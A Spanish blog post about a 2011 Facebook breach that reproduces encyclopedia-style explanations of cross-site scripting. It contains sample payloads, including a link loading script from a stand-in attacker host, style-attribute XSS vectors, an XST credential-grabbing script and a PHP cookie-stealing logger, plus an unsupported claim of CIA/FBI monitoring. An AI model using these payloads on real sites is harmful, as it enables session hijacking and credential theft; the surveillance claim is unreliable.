miércoles, 16 de noviembre de 2011

Facebook hackeada

Según Facebook es un cross-site scripting, lo que ha atacado a sus cuentas, personalmente veo una tontería lo que dicen y es algo mas profundo, o eso o se confirma que Facebook es la cosa mas insegura del mundo aparte de ser monitorizado por agencias como la CIA y el FBI continuamente para controlar a los usuarios, no es hora de discutirlo, pero aquí dejo lo que pone la wikipedia sobre esta vulnerabilidad; Aquí dejo algunos gráficos que explican como funciona y 2 artículos básicos explicando lo que son.








Cross Site Scripting es el nombre que recibe una vulnerabilidad que afecta no tanto a los servidores como a los usuarios que navegan a páginas de Internet. La causa de la vulnerabilidad radica en la pobre verificación por parte de los sitios web de las cadenas de entrada enviadas por los usuarios a través de formularios, o directamente a través del URL. Estas cadenas, en el caso de ser maliciosas, podrían llegar a contener scripts completos. Cuando esta entrada se le muestra dinámicamente a un usuario dentro de una página web, en caso de contener un script, éste se ejecutará en el navegador del usuario dentro del contexto de seguridad de la página web visitada. Como consecuencia, podrá realizar en el ordenador del usuario todas las acciones que le sean permitidas a ese sitio web, como por ejemplo interceptar entradas del usuario víctima o leer sus cookies.
El mayor riesgo de este tipo de ataques es que la entrada maliciosa no la proporciona el mismo usuario que ve la página, sino un atacante, que consigue que el script se ejecute en el navegador del usuario. La víctima ejecuta el código de manera indirecta cuando confiadamente hace clic sobre un hiperenlace fraudulento, que puede estar presente en el sitio web del atacante, en un mensaje de correo electrónico o de un grupo de noticias, o en cualquier otro lugar que no levante sospechas. Debido a que en este caso la víctima es el visitante del sitio web y no el propio sitio, este tipo de vulnerabilidades no ha recibido la atención que se merece.
Por lo tanto, el cross site scripting funciona de la siguiente manera:
  1. El usuario sigue un enlace, que incluye codificada una cadena de entrada como argumento de entrada a algún parámetro de la página del sitio web.
  2. El sitio web no valida (o lo hace pobremente) la entrada anterior y genera dinámicamente una página HTML que incluye el código introducido en el hiperenlace por el atacante.
  3. Este código se ejecuta en el navegador de la víctima, con los mismos privilegios que cualquier otro código legítimo del mismo sitio web.
Un ejemplo de un hiperenlace malicioso tal sería:
<A HREF="http://www.instisec.com/comentarios.asp?texto='<SCRIPT>Código Malicioso</SCRIPT>'">Información sobre agujeros</A>
Cuando el usuario siga el enlace, el sitio www.instisec.com generará la página solicitada incluyendo el script, que se ejecutará en el navegador de la víctima.
El código podría incluso proceder de otro sitio web, ya que las vulnerabilidades de este tipo violan las políticas de los navegadores sobre mismo origen de fuente:
<A HREF="http://www.instisec.com/comentarios.asp?texto='<SCRIPT SRC=http://www.hackermalo.com/ataque.js></SCRIPT>'">Información sobre agujeros</A>
Un ejemplo real de una vulnerabilidad tal se debe a Microsoft, en su sitio Duwamish Online. Se trata de un sitio Web creado por MSDN y dedicado a enseñar a los desarrolladores y programadores cómo hacer páginas Web. En este caso, una página lee desde las variables de entrada los títulos de las secciones que presenta después en la cabecera de la página:
http://www.duwamishonline.com/category.asp?cat=books&PKId=829&PKName=Books&PKId=838&PKName=Microsoft%20debería%20corregir%20sus%20ejemplos
Un ejemplo reciente de este tipo de vulnerabilidad se debe a Hotmail, que no filtraba la entrada para el campo From. Si un usuario recibía un mensaje cuya dirección de correo del emisor había sido manipulada con código JavaScript, en la página HTML de su inbox se incluía el código malicioso. Ni siquiera hacía falta abrir el correo para que se ejecutase el código. Bastaba con acceder a la carpeta de entrada.

wikipedia

Cross-site scripting

XSS, del inglés Cross-site scripting es un tipo de inseguridad informática o agujero de seguridad basado en la explotación de vulnerabilidades del sistema de validación de HTML incrustado.

Contenido

Introducción

Su nombre original es "Cross Site Scripting", y es abreviado como XSS para no ser confundido con las siglas CSS, (hojas de estilo en cascada). Las vulnerabilidades de XSS originalmente abarcaban cualquier ataque que permitiera ejecutar código de "scripting", como VBScript o JavaScript, en el contexto de otro sitio web (y recientemente esto se podría clasificar más correctamente como "distintos orígenes").
Estos errores se pueden encontrar en cualquier aplicación que tenga como objetivo final, el presentar la información en un navegador web. No se limita a sitios web, ya que puede haber aplicaciones locales vulnerables a XSS, o incluso el navegador en sí. El problema está en que usualmente no se validan correctamente los datos de entrada que son usados en cierta aplicación. Esta vulnerabilidad puede estar presente de forma directa (también llamada persistente) o indirecta (también llamada reflejada).
  • Directa (Persistente): este tipo de XSS comúnmente filtrado, y consiste en embeber código HTML peligroso en sitios que lo permitan; incluyendo así etiquetas como <script> o <iframe>.
  • Indirecta (Reflejada): este tipo de XSS consiste en modificar valores que la aplicación web utiliza para pasar variables entre dos páginas, sin usar sesiones y sucede cuando hay un mensaje o una ruta en la URL del navegador, en una cookie, o cualquier otra cabecera HTTP (en algunos navegadores y aplicaciones web, esto podría extenderse al DOM del navegador).

XSS Indirecto (reflejado)

Supongamos que un sitio web tiene la siguiente forma:
y que al acceder se creará un documento HTML enlazando con un frame a menu.asp.
En este ejemplo, ¿qué pasaría si se pone como URL del frame un código javascript?
 javascript:while(1)alert("Este mensaje saldra indefinidamente");
Si este enlace lo pone un atacante hacia una víctima, un visitante podrá verlo y verá que es del mismo dominio, suponiendo que no puede ser nada malo y de resultado tendrá un bucle infinito de mensajes.
Un atacante en realidad trataría de colocar un script que robe las cookies de la víctima, para después poder personificarse como con su sesión, o hacer automático el proceso con el uso de la biblioteca cURL o alguna similar. De esta forma, al recibir la cookie, el atacante podría ejecutar acciones con los permisos de la víctima sin siquiera necesitar tu contraseña.
Otro uso común para estas vulnerabilidades es lograr hacer phishing. Quiere ello decir que la víctima ve en la barra de direcciones un sitio, pero realmente está en otra. La víctima introduce su contraseña y se la envía al atacante.
Una página como la siguiente:
 error.php?error=Usuario%20Invalido
es probablemente vulnerable a XSS indirecto, ya que si escribe en el documento "Usuario Inválido", esto significa que un atacante podría insertar HTML y JavaScript si así lo desea.
Por ejemplo, un tag como <script> que ejecute código javascript, cree otra sesión bajo otro usuario y mande la sesión actual al atacante.
Para probar vulnerabilidades de XSS en cookies, se puede modificar el contenido de una cookie de forma sencilla, usando el siguiente script. Sólo se debe colocar en la barra de direcciones, y presionar 'Enter'.
javascript:void prompt("Introduce la cookie:",document.cookie).replace(/[^;]+/g,function(_){document.cookie=_;});

 XSS Directo (persistente)

Funciona localizando puntos débiles en la programación de los filtros de HTML si es que existen, para publicar contenido (como blogs, foros, etc.).
Normalmente el atacante tratara de insertar tags como <iframe>, o <script>, pero en caso de fallar, el atacante puede tratar de poner tags que casi siempre están permitidas y es poco conocida su capacidad de ejecutar código. De esta forma el atacante podría ejecutar código malicioso.
Ejemplos:
Una posibilidad es usar atributos que permiten ejecutar código.
<BR SIZE="&{alert('XSS')}">
<FK STYLE="behavior: url(http://yoursite/xss.htc);">
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
También se puede crear un DIV con background-image: url(javascript:eval(this.fu)) como estilo y añadir al DIV un campo llamado fu que contenga el código a ejecutar, por ejemplo:
<div fu="alert('Hola mundo');" STYLE="background-image: url(javascript:eval(this.fu))">

 AJAX

Usar AJAX para ataques de XSS no es tan conocido, pero peligroso. Se basa en usar cualquier tipo de vulnerabilidad de XSS para introducir un objeto XMLHttp y usarlo para enviar contenido POST, GET, sin conocimiento del usuario.
Este se ha popularizado con gusanos de XSS que se encargan de replicarse por medio de vulnerabilidades de XSS persistentes (aunque la posibilidad de usar XSS reflejados es posible).
El siguiente script de ejemplo obtiene el valor de las cabeceras de autenticación de un sistema basado en Autenticación Básica (Basic Auth). Sólo falta decodificarlo, pero es más fácil mandarlo codificado al registro de contraseñas. La codificación es base64.
Script para obtener credenciales en tipo BASIC
Esta técnica también es llamada XST, Cross Site Tracing.
var xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
 
// para firefox, es: var xmlhttp = new XMLHttpRequest();
 
xmlhttp.open("TRACE","./",false);
 
xmlhttp.send(null);
 
str1=xmlhttp.responseText;
 
splitString = str1.split("Authorization: Basic ");
 
str2=splitString[1];
 
str3=str2.match(/.*/)[0];
 
alert(str3);
Por cuestiones de seguridad, Mozilla Firefox y el Internet Explorer 6.2+ no permiten usar el metodo TRACE.
Y este código guardaría un log con las cookies que enviaría el atacante.
<?php
 
$archivo = fopen('log2.htm','a');
 
$cookie = $_GET['c'];
 
$usuario = $_GET['id'];
 
$ip = getenv ('REMOTE_ADDR');
 
$re = $HTTPREFERRER;
 
$fecha=date("j F, Y, g:i a");
 
fwrite($archivo, '<hr>USUARIO Y PASSWORD: '.htmlentities(base64_decode($usuario)));
fwrite($archivo, '<br />Cookie: '.htmlentities($cookie).'<br />Pagina: '.htmlentities($re));
fwrite($archivo, '<br /> IP: ' .$ip. '<br /> Fecha y Hora: ' .$fecha. '</hr>');
 
fclose($archivo);
 
?>

Referencias

Enlaces externos

By en

No hay comentarios:

Publicar un comentario

Deja tus opiniones y/o comentarios, nos sirven para mejorar nuestro blog, gracias

Suscribirse a: Enviar comentarios (Atom)